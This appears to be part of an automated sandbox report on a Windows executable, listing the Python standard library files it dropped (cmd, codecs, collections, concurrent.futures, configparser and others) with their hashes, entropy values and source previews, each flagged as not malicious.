MD5:	876EE912FD5D3663B4B6E9F2A46ACFFA
SHA1:	F097BE06A4249B38C56E2B7E309A2D1C7B5B3CB3
SHA-256:	2AE247591ED62FEE5E0DDF05D97EDECB3ACE71B752B1A3DF84CD5CD7FEA9B37F
SHA-512:	54AEB21E831EBEE41AA5C8F5099B9C2C605B45F74A9C45982DB6294ADDF799C7C3646101CCB2977F5DF2EB9D5C847C81D3CD49DA09E1E26A91A63B4E08592186
Malicious:	false
Preview:	"""A generic class to build line-oriented command interpreters.....Interpreters constructed with this class obey the following conventions:....1. End of file on input is processed as the command 'EOF'...2. A command is parsed out of each line by collecting the prefix composed.. of characters in the identchars member...3. A command `foo' is dispatched to a method 'do_foo()'; the do_ method.. is passed a single argument consisting of the remainder of the line...4. Typing an empty line repeats the last command. (Actually, it calls the.. method `emptyline', which may be overridden in a subclass.)..5. There is a predefined `help' method. Given an argument `topic', it.. calls the command `help_topic'. With no arguments, it lists all topics.. with defined help_ functions, broken into up to three topics; documented.. commands, miscellaneous help topics, and undocumented commands...6. The command '?' is a synonym for `help'. The command '!' is a synonym.. for `shell', if a do_

C:\recover\pw\Lib\code.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	10937
Entropy (8bit):	4.358655405051517
Encrypted:	false
SSDEEP:	192:BXaaxojmnJG2eGKSOwyTe4J54iLxqeKon:BXaanlt8eoCMbKo
MD5:	FEDBEE2BB47F5372D60AD7EAF7610714
SHA1:	E5B59A93FBF7E34F0EBEDFC240FF5930CA3FE18A
SHA-256:	1944F39B81A75344487E1B393B948B6EA76FF96E15DA5D2A5D5E94EC000E0885
SHA-512:	6CACB563B693C6C0C7335252FA8B7EBE90852F5D71942602B1DADEADEE45E991430120993901D3B4D0C5008540B67C6AD02F0F5039F9C26EE7F194BF872B6FD4
Malicious:	false
Preview:	"""Utilities needed to emulate Python's interactive interpreter....."""....# Inspired by similar code by Jeff Epler and Fredrik Lundh.......import sys..import traceback..from codeop import CommandCompiler, compile_command....__all__ = ["InteractiveInterpreter", "InteractiveConsole", "interact",.. "compile_command"]....class InteractiveInterpreter:.. """Base class for InteractiveConsole..... This class deals with parsing and interpreter state (the user's.. namespace); it doesn't deal with input buffering or prompting or.. input file naming (the filename is always passed in explicitly)..... """.... def __init__(self, locals=None):.. """Constructor..... The optional 'locals' argument specifies the dictionary in.. which code will be executed; it defaults to a newly created.. dictionary with key "__name__" set to "__console__" and key.. "__doc__" set to None..... """.. if locals is None:.. locals = {"__n

C:\recover\pw\Lib\codecs.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	37841
Entropy (8bit):	4.406059603619055
Encrypted:	false
SSDEEP:	768:JsOEZ+8dxiEjo5gFcyjh8Rx+fo62JxMEtiyAmpqiWjI:JEfaxMEtiyAmpqiWjI
MD5:	8E0D20F2225EAD7947C73C0501010B0E
SHA1:	9012E38B8C51213B943E33B8A4228B6B9EFFC8BC
SHA-256:	4635485D9D964C57317126894ADACA91A027E017AEFD8021797B05415E43DBB4
SHA-512:	D95B672D4BE4CA904521C371DA4255D9491C9FC4D062EB6CF64EF0AB9CD4207C319BBD5CAABE7ADB2AAAA5342DEE74E3D67C9EA7D2FE55CB1B85DF11EE7E3CD3
Malicious:	false
Preview:	""" codecs -- Python Codec Registry, API and helpers.......Written by Marc-Andre Lemburg (mal@lemburg.com).....(c) Copyright CNRI, All Rights Reserved. NO WARRANTY....."""....import builtins..import sys....### Registry and builtin stateless codec functions....try:.. from _codecs import *..except ImportError as why:.. raise SystemError('Failed to load the builtin codecs: %s' % why)....__all__ = ["register", "lookup", "open", "EncodedFile", "BOM", "BOM_BE",.. "BOM_LE", "BOM32_BE", "BOM32_LE", "BOM64_BE", "BOM64_LE",.. "BOM_UTF8", "BOM_UTF16", "BOM_UTF16_LE", "BOM_UTF16_BE",.. "BOM_UTF32", "BOM_UTF32_LE", "BOM_UTF32_BE",.. "CodecInfo", "Codec", "IncrementalEncoder", "IncrementalDecoder",.. "StreamReader", "StreamWriter",.. "StreamReaderWriter", "StreamRecoder",.. "getencoder", "getdecoder", "getincrementalencoder",.. "getincrementaldecoder", "getreader", "getwriter",.. "encode", "decode", "iter

C:\recover\pw\Lib\codeop.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5762
Entropy (8bit):	4.666424353047493
Encrypted:	false
SSDEEP:	96:CH1OT+d3PVt56zAg5x4Y0s2WbFr+NRa/y4DQD3vUCMPikrv59S4RzC4XovtrTfoo:sOOPfyASx49WbFrSRa/yCQD3Wit4RzCN
MD5:	650CB16239456DB3EE0EC431018677BE
SHA1:	1B77A1843EE49FC5A68D11FA83EA7D7A94934293
SHA-256:	EF7216362171A4400547499E84253ABF5D9D167490A06E668E5AD4C57FF2B9FB
SHA-512:	D7B9EC8FC9233BB149891CC5B4DB661A7EA9F5195451D4384B93895D71FE77B235A6353909574A53AA504D664EE50840C61B63AEE34AC1D92240F504D5C266CA
Malicious:	false
Preview:	r"""Utilities to compile possibly incomplete Python source code.....This module provides two interfaces, broadly similar to the builtin..function compile(), which take program text, a filename and a 'mode'..and:....- Return code object if the command is complete and valid..- Return None if the command is incomplete..- Raise SyntaxError, ValueError or OverflowError if the command is a.. syntax error (OverflowError and ValueError can be produced by.. malformed literals).....The two interfaces are:....compile_command(source, filename, symbol):.... Compiles a single command in the manner described above.....CommandCompiler():.... Instances of this class have __call__ methods identical in.. signature to compile_command; the difference is that if the.. instance compiles program text containing a __future__ statement,.. the instance 'remembers' and compiles all subsequent program texts.. with the statement in force.....The module also provides another class:....Compile():.

C:\recover\pw\Lib\collections\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	52954
Entropy (8bit):	4.506927099682533
Encrypted:	false
SSDEEP:	1536:aCI4z5wctD9O9F2PxdKtDXo0a4vpHKaiJXbxpq6InhjQAo:XI4z5wctBOVUB
MD5:	4F8C270F0FFE58F5C0BF455403EF3F44
SHA1:	8C0DE07C711CD9486A3FF0D2FC8A5CD4C13AE01A
SHA-256:	2E5F3A5A7DE17BC2B2E749F0D2A1387DE2280A0824856360A041B2CA75E77194
SHA-512:	418971A91D03756A0B2790286F67135EE386AAA0817932130DDBA8B68DE601D5E29A3DCCEF1D965BAE22E66606C0A3132D179ABEC7E9296B715E1AAD1E6BDFAC
Malicious:	false
Preview:	'''This module implements specialized container datatypes providing..alternatives to Python's general purpose built-in containers, dict,..list, set, and tuple.....* namedtuple factory function for creating tuple subclasses with named fields..* deque list-like container with fast appends and pops on either end..* ChainMap dict-like class for creating a single view of multiple mappings..* Counter dict subclass for counting hashable objects..* OrderedDict dict subclass that remembers the order entries were added..* defaultdict dict subclass that calls a factory function to supply missing values..* UserDict wrapper around dictionary objects for easier dict subclassing..* UserList wrapper around list objects for easier list subclassing..* UserString wrapper around string objects for easier string subclassing....'''....__all__ = [.. 'ChainMap',.. 'Counter',.. 'OrderedDict',.. 'UserDict',.. 'UserList',.. 'UserString',.. 'defaultdict',.. 'd

C:\recover\pw\Lib\collections\pycache\init.cpython-310.pyc

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	48450
Entropy (8bit):	5.1209524762899665
Encrypted:	false
SSDEEP:	768:NbrUurnFDpytMbeGzDRBPou+eQyWImBfbGm49WxxSNo4Q+M2PvUPPAeOTMtJcCnM:ZrtFDpyTGzDRBPoJImBfbGm49WxENbQ8
MD5:	FB8C425FB5158243DCE56C365A78C61D
SHA1:	172859350C5E4EA478BD0D746951170141F23D17
SHA-256:	E2517F357B04CE6243B1C953281E615ED9F30AF92FC5AA07F7D114BECFE78FB6
SHA-512:	8CC94977FF9A63D1E9CE6245C7239EF0197062812E3992689DE240B3C30705AD41B7F07C6BB88A6A72D1D43BB1CBCE4E0EBD11A208C57371E93E73EAC2E6D77C
Malicious:	false
Preview:	o.......=k;g.........................@...s....d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...z.d.d.l.m.Z...W.n...e.yO......Y.n.w.e.j...e.....z.d.d.l.m.Z...W.n...e.yg......Y.n.w.G.d.d...d.e.j ..Z!G.d.d...d.e.j"..Z#G.d.d...d.e.j$..Z%G.d.d...d.e&..Z'G.d.d...d.e(..Z)z.d.d.l.m)Z)..W.n...e.y.......Y.n.w.z.d.d.l.mZ..W.n...e.y.......d.d...ZY.n.w.d.d.d.d...d.d...Z+d d!..Z,z.d.d"l.m,Z,..W.n...e.y.......Y.n.w.G.d#d$..d$e(..Z-G.d%d&..d&e.j...Z/G.d'd(..d(e.j...Z0G.d)d..de.j...Z1G.d+d,..d,e.j2..Z3d.S.)-a?...This module implements specialized container datatypes providing.alternatives to Python's general purpose built-in containers, dict,.list, set, and tuple... namedtuple factory function for creating tuple subclasses with named fields.* deque list-like container with fast appends and pops on either end.* ChainMap dict-like class for creating a single view of multiple mappings.* Counter dict subclass

C:\recover\pw\Lib\collections\pycache\init.cpython-310.pyc.32207840

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	48451
Entropy (8bit):	5.120875981356645
Encrypted:	false
SSDEEP:	768:hbRUurnFDpytMbeGzDRBPou+eQyWImBfbGm49WxxSNo4Q+M2PvUPPAeOTMtJcCnM:tRtFDpyTGzDRBPoJImBfbGm49WxENbQ8
MD5:	D66807804466C4A9A6128003B7000463
SHA1:	A184C34AA2DADB94445D93EC8873E7E60B165D98
SHA-256:	7873B479734887C21C7966B7BD705ECC3530AFC61075FD8399396D075A449832
SHA-512:	E86EB3D0E77FB4C6BD73950D432085F71EC57A6F7FA41B874F200EFD842F912E517AFD0D61AF0FCCE9B6EF5EA81648AEAE74D46AB00A65348623496E953A915D
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...z.d.d.l.m.Z...W.n...e.yO......Y.n.w.e.j...e.....z.d.d.l.m.Z...W.n...e.yg......Y.n.w.G.d.d...d.e.j ..Z!G.d.d...d.e.j"..Z#G.d.d...d.e.j$..Z%G.d.d...d.e&..Z'G.d.d...d.e(..Z)z.d.d.l.m)Z)..W.n...e.y.......Y.n.w.z.d.d.l.mZ..W.n...e.y.......d.d...ZY.n.w.d.d.d.d...d.d...Z+d d!..Z,z.d.d"l.m,Z,..W.n...e.y.......Y.n.w.G.d#d$..d$e(..Z-G.d%d&..d&e.j...Z/G.d'd(..d(e.j...Z0G.d)d..de.j...Z1G.d+d,..d,e.j2..Z3d.S.)-a?...This module implements specialized container datatypes providing.alternatives to Python's general purpose built-in containers, dict,.list, set, and tuple... namedtuple factory function for creating tuple subclasses with named fields.* deque list-like container with fast appends and pops on either end.* ChainMap dict-like class for creating a single view of multiple mappings.* Counter dict subclass

C:\recover\pw\Lib\collections\pycache\abc.cpython-310.pyc

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	235
Entropy (8bit):	4.681988895280298
Encrypted:	false
SSDEEP:	6:y/CHeC5VvkFZlaE+MdF/Hj5J+8kX0/tGdgIun:CweC7gj+Er+8kyGdcn
MD5:	8C8CE5C08DC7B2C62E8CD71702840A83
SHA1:	1F97DB718EC66E89665D78FCF38155AF73D8900A
SHA-256:	FCD55039FC439C7FAA17458AFE88486E8F3F3DFDE8302B3EB2870DBEF0A5CB17
SHA-512:	B0FAB8C9204A77F830BBAB43DD01FAB6BC0FBED8C4B34DD4A1DC89C305870B27B571C587D8C46988164406E10F6A133D192BDBEAE54DECF0F3093CEFB876EB91
Malicious:	false
Preview:	o.......=k;gz........................@...s$...d.d.l.T.d.d.l.m.Z...d.d.l.m.Z...d.S.)......)...*)...__all__)..._CallableGenericAliasN)..._collections_abcr....r......r....r.....#C:\winnit\pw\lib\collections\abc.py..<module>....s..........

C:\recover\pw\Lib\collections\pycache\abc.cpython-310.pyc.33551952

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	236
Entropy (8bit):	4.66194431390076
Encrypted:	false
SSDEEP:	6:y/KjeC5VvkFZlaE+MdF/Hj5J+iM8tGdgIun:CUeC7gj+Er+izGdcn
MD5:	40774CC0852CE7AB1520F2F0522E2308
SHA1:	3E6EF0C8494C285E1EF8B544A9A33604C44C590E
SHA-256:	676DA83667B579C7B3C7D3194DD6F5275D6AEF2D339232E3AFEAE7E87B26DEE6
SHA-512:	F1E26F2DF676DFE4AADDF88B5CF75CDCCF4D43C31309785D4090EE47FFDCE3E7F92DCE38990C0944818A9A734431588F9B19F9E7C0E010CAB7F2E87B4F612D40
Malicious:	false
Preview:	o.........Sgz........................@...s$...d.d.l.T.d.d.l.m.Z...d.d.l.m.Z...d.S.)......)...*)...__all__)..._CallableGenericAliasN)..._collections_abcr....r......r....r.....$C:\recover\pw\lib\collections\abc.py..<module>....s..........

C:\recover\pw\Lib\collections\abc.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	122
Entropy (8bit):	4.154562766131627
Encrypted:	false
SSDEEP:	3:16dgXGviibaIF6dgXGvisxCK46dgXGviYHEubWyn:14gX5TIF4gX5GS4gX5AE/y
MD5:	BEF5A0AF889CBE656D8F36952B66D86A
SHA1:	F58423BE30ACEC27E1B47617F47D2B6C94F01A72
SHA-256:	7AD86878712FC6682863F12208F4CED5DAF2DD82B6FF5ED58207DE29D0EFA410
SHA-512:	9DD60F99DA7FCAABE8CE08AB012CD507A98EE6E47DDA4A4E462CEB57DB16653B97B21D1DF1436DCCEDB1CD4B59433CECB697BCC3E031B52585F67C8454DB487D
Malicious:	false
Preview:	from _collections_abc import *..from _collections_abc import __all__..from _collections_abc import _CallableGenericAlias..

C:\recover\pw\Lib\colorsys.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	4182
Entropy (8bit):	4.941140768387096
Encrypted:	false
SSDEEP:	96:DuOeR5U4DSJVqfXZuNtrytho9oXDi6IX2:DuXPUyeyZk1yI9GDMX2
MD5:	155B90E667001B9A1FAE754CB38AFEE8
SHA1:	47C7E6928D08DC2FBF692D89B01E59DD8CA82183
SHA-256:	33885389962DA4BCD82B1286A184367116F6F407F61E18ECEFB09A1D8F17CF41
SHA-512:	0F7458FF53A6039B6F0DE62D7C3050BCF0F76E7B51C7BCE2E849E690B110299B561C5CA48FA5390F98D4148BA3FA6ACC48B1CAF8FAE4C063604005FBCDCD3704
Malicious:	false
Preview:	"""Conversion functions between RGB and other color systems.....This modules provides two functions for each color system ABC:.... rgb_to_abc(r, g, b) --> a, b, c.. abc_to_rgb(a, b, c) --> r, g, b....All inputs and outputs are triples of floats in the range [0.0...1.0]..(with the exception of I and Q, which covers a slightly larger range)...Inputs outside the valid range may cause exceptions or invalid outputs.....Supported color systems:..RGB: Red, Green, Blue components..YIQ: Luminance, Chrominance (used by composite video signals)..HLS: Hue, Luminance, Saturation..HSV: Hue, Saturation, Value.."""....# References:..# http://en.wikipedia.org/wiki/YIQ..# http://en.wikipedia.org/wiki/HLS_color_space..# http://en.wikipedia.org/wiki/HSV_color_space....__all__ = ["rgb_to_yiq","yiq_to_rgb","rgb_to_hls","hls_to_rgb",.. "rgb_to_hsv","hsv_to_rgb"]....# Some floating point constants....ONE_THIRD = 1.0/3.0..ONE_SIXTH = 1.0/6.0..TWO_THIRD = 2.0/3.0....# YIQ: used by composite video si

C:\recover\pw\Lib\compileall.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	20715
Entropy (8bit):	4.1633554259094465
Encrypted:	false
SSDEEP:	384:kFFpRRcNykbCAH86DekbUH1B61Oep2QiNFIboUUW6cUu:kF3RRcBVHpD3YH18RfEiboeX
MD5:	86772D3D944A28FBB5A6E79CA763ED41
SHA1:	CEAF743DEA6B5E115D6EB4A3369172EE3C572C1A
SHA-256:	2A2ADE75EA3DB61BC608962F40AF56F6BEAE3F16F87E8B81824E2D88F9964C2D
SHA-512:	1D8638DD0C44C98D56A3BCA8816C788ECE897FD7554917605BE7E5D9CBC9537EC5120AD678B9369A320E89F592614D1D6C3E1BCF4909BF583A0C748E0CD4FAC7
Malicious:	false
Preview:	"""Module/script to byte-compile all .py files to .pyc files.....When called as a script with arguments, this compiles the directories..given as arguments recursively; the -l option prevents it from..recursing into directories.....Without arguments, if compiles all modules on sys.path, without..recursing into subdirectories. (Even though it should do so for..packages -- for now, you'll have to deal with packages separately.)....See module py_compile for details of the actual byte-compilation..."""..import os..import sys..import importlib.util..import py_compile..import struct..import filecmp....from functools import partial..from pathlib import Path....__all__ = ["compile_dir","compile_file","compile_path"]....def _walk_dir(dir, maxlevels, quiet=0):.. if quiet < 2 and isinstance(dir, os.PathLike):.. dir = os.fspath(dir).. if not quiet:.. print('Listing {!r}...'.format(dir)).. try:.. names = os.listdir(dir).. except OSError:.. if quiet < 2:..

C:\recover\pw\Lib\concurrent\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	39
Entropy (8bit):	4.2336188853070205
Encrypted:	false
SSDEEP:	3:SbF8tHyxVWSov:SbFUHoVjov
MD5:	F8259102DFC36D919A899CDB8FDE48CE
SHA1:	4510C766809835DAB814C25C2223009EB33E633A
SHA-256:	52069AEEFB58DAD898781D8BDE183FFDA18FAAE11F17ACE8CE83368CAB863FB1
SHA-512:	A77C8A67C95D49E353F903E3BD394E343C0DFA633DCFFBFD7C1B34D5E1BDFB9A372ECE71360812E44C5C5BADFA0FC81387A6F65F96616D6307083C2B3BB0213F
Malicious:	false
Preview:	# This directory is a Python package...

C:\recover\pw\Lib\concurrent\futures\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1607
Entropy (8bit):	4.235604960068566
Encrypted:	false
SSDEEP:	24:QRFwLH5TbpZfLXA3TN9cf7Y961rTR0wMs8ShahNEmfh1GLdEk:kC5XjKK4QrTR05s8Sha7lfbGLv
MD5:	D5B3EA2EE977275CB75FA7254050B426
SHA1:	26446C7B142D2C5FC70F57A0A84EA25D281699CC
SHA-256:	954D4FFDEF55E3B4A273DF7CE43DCD4082DC07FFA0B7CC0BF7C5D7971D2A5103
SHA-512:	04B3C3E7195FF5099B17F0DD40F84EB1CB4ECF3D0D214EEB4ECFAE200CE3BE5BB5365B35909AF9FD71FF0A87EFDF30EA8FE891296B8372F795CCB0C518C558A4
Malicious:	false
Preview:	# Copyright 2009 Brian Quinlan. All Rights Reserved...# Licensed to PSF under a Contributor Agreement....."""Execute computations asynchronously using threads or processes."""....__author__ = 'Brian Quinlan (brian@sweetapp.com)'....from concurrent.futures._base import (FIRST_COMPLETED,.. FIRST_EXCEPTION,.. ALL_COMPLETED,.. CancelledError,.. TimeoutError,.. InvalidStateError,.. BrokenExecutor,.. Future,.. Executor,.. wait,.. as_completed)....__all__ = (.. 'FIRST_COMPLETED',.. 'FIRST_EXCEPTION',.. 'ALL_COMPLETED',.. 'CancelledError',.. 'TimeoutError',.. 'BrokenExecutor',.. 'Future',.. 'Executor',..

C:\recover\pw\Lib\concurrent\futures\_base.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	23504
Entropy (8bit):	4.468628954944452
Encrypted:	false
SSDEEP:	384:IFXDpqHFF4MIEh8F6OaoM0fSvPSmP049u35sBwwtJhkff5avYV:UX0vjI7FSCSSms49u35sBwwtJhkHJ
MD5:	93DB82D99C74121B1797F2063F319585
SHA1:	A0FC36E2E91766B7A99631E8D51B878F8EFA52FE
SHA-256:	F76ACCAF92680AC116460909422ABF26209FE57041B627B6C06752977CCEB109
SHA-512:	93481B3765891337D8B25DEAAAECA5B79747A7EDC7DFC21F223892028938D61FB75CE1393CB942DAED05AD884320678FA39C5A9A120C26E9244E30D1A50A2EEB
Malicious:	false
Preview:	# Copyright 2009 Brian Quinlan. All Rights Reserved...# Licensed to PSF under a Contributor Agreement.....__author__ = 'Brian Quinlan (brian@sweetapp.com)'....import collections..import logging..import threading..import time..import types....FIRST_COMPLETED = 'FIRST_COMPLETED'..FIRST_EXCEPTION = 'FIRST_EXCEPTION'..ALL_COMPLETED = 'ALL_COMPLETED'.._AS_COMPLETED = '_AS_COMPLETED'....# Possible future states (for internal use by the futures package)...PENDING = 'PENDING'..RUNNING = 'RUNNING'..# The future was cancelled by the user.....CANCELLED = 'CANCELLED'..# ...and _Waiter.add_cancelled() was called by a worker...CANCELLED_AND_NOTIFIED = 'CANCELLED_AND_NOTIFIED'..FINISHED = 'FINISHED'...._FUTURE_STATES = [.. PENDING,.. RUNNING,.. CANCELLED,.. CANCELLED_AND_NOTIFIED,.. FINISHED..]...._STATE_TO_DESCRIPTION_MAP = {.. PENDING: "pending",.. RUNNING: "running",.. CANCELLED: "cancelled",.. CANCELLED_AND_NOTIFIED: "cancelled",.. FINISHED: "finished"..}....# Logger

C:\recover\pw\Lib\concurrent\futures\process.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	32786
Entropy (8bit):	4.435552445856024
Encrypted:	false
SSDEEP:	768:NfMKj9sLbd2C7ZC2lDMQ8giCi/cEziF5BGONrHGhBUM:NkKj9gbd7di/pGrfmh
MD5:	8BE1FA85BDB6A2F722E1655E1901D9A5
SHA1:	D192DAE1349A0FEFF76F2F38251D29564426B704
SHA-256:	8DFCAA4EA1AB7350CB85FFA3DD6E43D99A951FF50A76EA1DBD32842D7AE277A0
SHA-512:	E737E322559AACFF016C5994CF466E2B40FDC2B35875301CBD6A25D9FF9C98D4421DC8EB7BC1EC08DF5092ACC06E40F3335699A4F0A81E7D8288695727B59BDC
Malicious:	false
Preview:	# Copyright 2009 Brian Quinlan. All Rights Reserved...# Licensed to PSF under a Contributor Agreement....."""Implements ProcessPoolExecutor.....The following diagram and text describe the data-flow through the system:....\|======================= In-process =====================\|== Out-of-process ==\|....+----------+ +----------+ +--------+ +-----------+ +---------+..\| \| => \| Work Ids \| \| \| \| Call Q \| \| Process \|..\| \| +----------+ \| \| +-----------+ \| Pool \|..\| \| \| ... \| \| \| \| ... \| +---------+..\| \| \| 6 \| => \| \| => \| 5, call() \| => \| \|..\| \| \| 7 \| \| \| \| ... \| \| \|..\| Process \| \| ... \| \| Local \| +-----------+ \| Process \|..\| Pool \| +----------+ \| Worker \| \| #1..n \|..\| Executor \| \| Thread \|

C:\recover\pw\Lib\concurrent\futures\thread.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	9007
Entropy (8bit):	4.337359259102267
Encrypted:	false
SSDEEP:	192:NVFRR//hda27aGTSqu/UDLWdLNEWjvb/DHjbbpU+izS9ek3/8N1x:NVFRNHDLWdLNvvb/npQ8a
MD5:	2896FAE3BBC3EDA99EB9A2715924F3BB
SHA1:	C81D93475ECB0C8702D2CB3B57F8ABFE3CFE402C
SHA-256:	F53E2BED48B9828D273F7B7A16ACBA0D21005F5FDD9E3054536275538A70E719
SHA-512:	A1110CADC406B02E8FB88C98F03D1132476612AF7E8C93D0E6BB413826AEECBC764358A5FA91227A5136BBBE6F7D323095F4C55D16F2723AFAD737524DA13FAD
Malicious:	false
Preview:	# Copyright 2009 Brian Quinlan. All Rights Reserved...# Licensed to PSF under a Contributor Agreement....."""Implements ThreadPoolExecutor."""....__author__ = 'Brian Quinlan (brian@sweetapp.com)'....from concurrent.futures import _base..import itertools..import queue..import threading..import types..import weakref..import os......_threads_queues = weakref.WeakKeyDictionary().._shutdown = False..# Lock that ensures that new workers are not created while the interpreter is..# shutting down. Must be held while mutating _threads_queues and _shutdown..._global_shutdown_lock = threading.Lock()....def _python_exit():.. global _shutdown.. with _global_shutdown_lock:.. _shutdown = True.. items = list(_threads_queues.items()).. for t, q in items:.. q.put(None).. for t, q in items:.. t.join()....# Register for `_python_exit()` to be called just before joining all..# non-daemon threads. This is used instead of `atexit.register()` for..# compatibility with subint

C:\recover\pw\Lib\configparser.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	55980
Entropy (8bit):	4.368047563053184
Encrypted:	false
SSDEEP:	1536:eBBEAmz8YtgZh2NpD3V7uDkG02ep14pYp4RGOHU32hzkjg2p:eBBEAmz8YtgusFzkjJp
MD5:	E2E049217E2DEF4D361FEC0E2C25B507
SHA1:	5F959A6B69F00A1AF8EB9822F79D6D66F0EA05D7
SHA-256:	F03B42D5031A340528293A9F8F61F65A2F05E0DED3B4CD2E8AE6C81995ED38E5
SHA-512:	C6150D588760EC17A7EA4B8401ABB2DB6AD1357E0FC78DCCD8152C135776070BA686C1F66596D515289FF1C6CDDB586E9CEC7423EE92650D72E26C00AD1BB96A
Malicious:	false
Preview:	"""Configuration file parser.....A configuration file consists of sections, lead by a "[section]" header,..and followed by "name: value" entries, with continuations and such in..the style of RFC 822.....Intrinsic defaults can be specified by passing them into the..ConfigParser constructor as a dictionary.....class:....ConfigParser -- responsible for parsing a list of.. configuration files, and managing the parsed database..... methods:.... __init__(defaults=None, dict_type=_default_dict, allow_no_value=False,.. delimiters=('=', ':'), comment_prefixes=('#', ';'),.. inline_comment_prefixes=None, strict=True,.. empty_lines_in_values=True, default_section='DEFAULT',.. interpolation=<unset>, converters=<unset>):.... Create the parser. When `defaults` is given, it is initialized into the.. dictionary or intrinsic defaults. The keys must be strings, the values.. must be appropriate for %()s string in

C:\recover\pw\Lib\contextlib.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	26627
Entropy (8bit):	4.372794794720749
Encrypted:	false
SSDEEP:	384:krzxlsXr260wtYBNcBOzUZfpqWzrz4ONszCAthtv6aDrxzCI:kHxlCYBNcB6cpq8QOgi8D
MD5:	F26C810F186A8C2F158EEE1090238DDB
SHA1:	280B4ABED6C0BFDEF651011ECD21E89F91E6E2A6
SHA-256:	ACD2A8C3F86CE069FB43CDE542BA8A8BD17FD9FB27EF5FCF38210D599A7F344F
SHA-512:	354F476256213149604F8D79D68AEF37D757FC6A1D3B8FAEB8CA8F77E96F139E2DFBED8AA2FAEBEFDCCB646BAE86254BEEAABD440FE0D3DDABC8207161E4167D
Malicious:	false
Preview:	"""Utilities for with-statement contexts. See PEP 343."""..import abc..import sys..import _collections_abc..from collections import deque..from functools import wraps..from types import MethodType, GenericAlias....__all__ = ["asynccontextmanager", "contextmanager", "closing", "nullcontext",.. "AbstractContextManager", "AbstractAsyncContextManager",.. "AsyncExitStack", "ContextDecorator", "ExitStack",.. "redirect_stdout", "redirect_stderr", "suppress", "aclosing"]......class AbstractContextManager(abc.ABC):.... """An abstract base class for context managers.""".... __class_getitem__ = classmethod(GenericAlias).... def __enter__(self):.. """Return `self` upon entering the runtime context.""".. return self.... @abc.abstractmethod.. def __exit__(self, exc_type, exc_value, traceback):.. """Raise any exception triggered within the runtime context.""".. return None.... @classmethod.. def __subclasshook__(cls, C):.

C:\recover\pw\Lib\contextvars.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	133
Entropy (8bit):	4.404091567342511
Encrypted:	false
SSDEEP:	3:16dWRIXJ7LRAuKLRAM174adR8iDFoNFH9LmduQ26GKadR6n:14WI57LRERHNT8iD6HaMQEpT6
MD5:	031F54940ABDF481926457972FD90E0F
SHA1:	75689CDC1D790A7BC71E507903A00882DB6B652A
SHA-256:	758A96E17249E1E97C5CA5D1EE39AA31E5D439D0922AE7AF0064318E70B59FC8
SHA-512:	187E365C0237144C2C3827305B8BB678BFE5161A4AC4AC0E115F78C199DE3D18438FA124CF4303A9175F82FBE8E45057A733337B35ED8B20F9575A18B066A8DC
Malicious:	false
Preview:	from _contextvars import Context, ContextVar, Token, copy_context......__all__ = ('Context', 'ContextVar', 'Token', 'copy_context')..

C:\recover\pw\Lib\copy.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	8985
Entropy (8bit):	4.414349685597416
Encrypted:	false
SSDEEP:	192:Ve6OGrNnrFPC7ar5Rl4VoJTjIiWJYbOqmwKbgm0qu0JQZGWGyV:46OGrNnrFoivbJTR3m0L
MD5:	EF129FD70ED7839F65F7F8CF39EA1B74
SHA1:	867C3ED0C4E926460AF3370F1F555DF8E6E7334A
SHA-256:	82AFA1D570D4D328EFBBA5CDE3FC21025A44E3CFE5E10D9316A73745194A236B
